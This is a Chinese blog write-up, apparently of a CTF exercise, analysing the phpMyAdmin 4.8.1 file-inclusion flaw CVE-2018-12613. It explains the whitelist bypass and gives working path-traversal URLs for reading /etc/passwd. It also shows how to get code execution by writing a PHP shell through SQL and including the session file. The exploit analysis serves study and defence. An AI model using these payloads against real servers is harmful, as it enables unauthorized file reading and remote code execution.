CVE-2018-12613-PHPmyadmin

 · 2020-4-26 · 次阅读


0x00前文

phpMyAdmin是一个以PHP为基础,以Web-Base方式架构在网站主机上的Mysql的数据库管理工具,让管理者可用Web接口管理Mysql数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语句的较佳途径。
这次的漏洞发生在版本:phpMyAdmin-4.8.1-all-languages.zip
我试着在网上下载到了这个phpmyadmin,并跟着原文分析这个问题。

0x01漏洞成因

漏洞成因在/index.php的55~63行中,用seay源码审计打开如下所示:
logo
而上图中的第61行我们可以看到include $_REQUEST[‘target’]
这是典型的RFI(远程文件包含)的特征。当然没有那么简单,需要绕过if里面的几个条件,才能够实现最终的文件包含。第57行限制了target参数不能以index开头,第58行限制了target参数不能出现在前面定义的$target_blacklist内。
而他的$target_blacklist就在它上面就有定义:

$target_blacklist = array (
    'import.php', 'export.php'
);

也就是target不能是import.php与export.php。
最后的限制是:Core::checkPageValidity($_REQUEST[‘target’])
使用seay的定位函数,找到其在Core.php下如示:

public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

要绕过它也就是让两个if的条件为true即可,因而正常认为只能是他规定的php文件,但其实不然,在这个函数中存在$_page = urldecode($page);这儿这个url编码很致命,我们使用两次url编码即可绕过。为什么可以绕过呢?

     $_page = mb_substr(
            $_page,
            0,
            mb_strpos($page . '?', '?')
        );

上面这一段重复了两次,第一次没有经过urldecode,而第二次经过了。上面这个函数也就是$_page取得?前面的内容。如果我们在$page中构造出(也就是target)中构造出

index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

事实上,经过测试完全不需要经过二次url编码修改为payload:

index.php?target=db_sql.php?/../../../../../../../../etc/passwd

使用以上即可。。
我们可以看到在两个return true前面都有

$_page = mb_substr(
        $page,
          0,
       mb_strpos($page . '?', '?')
      );

而以上内容就是取得?前的内容,因而直接在参数中输入白名单的php在加上?即可绕过,无需二次url_encode.
这只是简单的LFI,接下来怎么写入shell.呢?由于是phpmyadmin,可以考虑数据库的利用。

0x02漏洞利用写入shell

由于该漏洞是出现在phpmyadmin中,既然我们已经进入到phpmyadmin了完全可以插入一句话shell然后使用这个RFI包含即可触发一句话。
原文是通过建表的方式,然后找到那个数据库文件。这里我们同样建表写入shell字段,然后查看其路径

show global variables like "%datadir%"

上面路径有错误,因而本地搭建了一个去docker里面看一下存放路径

进入docker
docker exec -it 9a3ebcca6d8f /bin/sh
使用exit退出

最终发现文件存在:/var/lib/mysql/test/hack.frm
如图可以发现本地环境的shell成功写入
session
接下来测试一下文件包含输出phpinfo().

index.php?a=phpinfo();&target=db_sql.php?/../../../../../../../../var/lib/mysql/hack/hack.MYD
index.php?target=db_sql.php?/../../../../../../../../var/lib/mysql/hack/hack.MYI
index.php?c=phpinfo();&target=db_datadict.php%253f/../../../../../../../../../var/lib/mysql/test/hack.frm
index.php?c=phpinfo();&target=db_datadict.php%253f/../../../../../../../../../var/log/dpkg.log

最后发现docker中本来拥有的文件都可以包含成功,但我们通过select新建的不行,直接去容器里面新建仍然不能。
因而使用P牛的sql语句插入,
session
然后包含其session文件:e3f0627010e24c2e4ead34b02d7f9674
session
同样使用session文件包含,先使用SELECT ‘‘;写入phpinfo(),然后使用如下payload包含文件即可执行

index.php?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_e3f0627010e24c2e4ead34b02d7f9674

最后回到BUU平台,flag就在phpinfo中,使用ctrl+f查找即可。

转载自:https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog